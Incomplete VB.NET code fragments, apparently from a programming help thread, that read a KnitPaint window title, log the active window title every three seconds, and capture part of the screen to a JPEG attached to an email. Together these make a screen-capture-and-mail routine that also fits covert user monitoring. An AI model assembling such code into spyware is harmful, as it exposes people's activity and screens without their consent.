For Each p As Process In Process.GetProcesses 
             If p.ProcessName.Contains("KnitPaint") Then 
                 Me.Text = p.MainWindowTitle 
             End If 
         Next

Imports System.Runtime.InteropServices 
 Public Class Form1 
  
     <DllImport("user32.dll")> _ 
     Private Shared Function GetForegroundWindow() As IntPtr 
     End Function 
  
     <DllImport("user32.dll")> _ 
     Private Shared Function GetWindowText(ByVal hWnd As IntPtr, ByVal text As System.Text.StringBuilder, ByVal count As Integer) As Integer 
     End Function 
  
     Private Function GetActiveWindowTitle() As String 
  
  
         Const nChars As Integer = 256 
         Dim handle As IntPtr = IntPtr.Zero 
         Dim Buff As New System.Text.StringBuilder(nChars) 
         handle = GetForegroundWindow() 
  
  
  
         If GetWindowText(handle, Buff, nChars) > 0 Then 
             Return Buff.ToString() 
         End If 
         Return Nothing 
     End Function 
  
     Dim tmr As New Timer 
  
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 
         tmr.Interval = 3000 
         AddHandler tmr.Tick, AddressOf gecti 
         tmr.Start() 
     End Sub 
  
     Sub gecti(ByVal sender As Object, ByVal e As System.EventArgs) 
         ListBox1.Items.Add(GetActiveWindowTitle()) 
     End Sub 
  
 End Class 
 

Dim screenshot As System.Drawing.Bitmap 
         Dim graph As Graphics 
         bounds = Screen.PrimaryScreen.Bounds 
         screenshot = New System.Drawing.Bitmap(252, 136, System.Drawing.Imaging.PixelFormat.Format32bppArgb) 
         graph = Graphics.FromImage(screenshot) 
         graph.CopyFromScreen(101, 297, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy) 
         screenshot.Save(Application.StartupPath + "\PM.jpg") 
 Dosya_Eki = New System.Net.Mail.Attachment(Application.StartupPath + "\PM.jpg") 
  
 Mail.Attachments.Add(Dosya_Eki)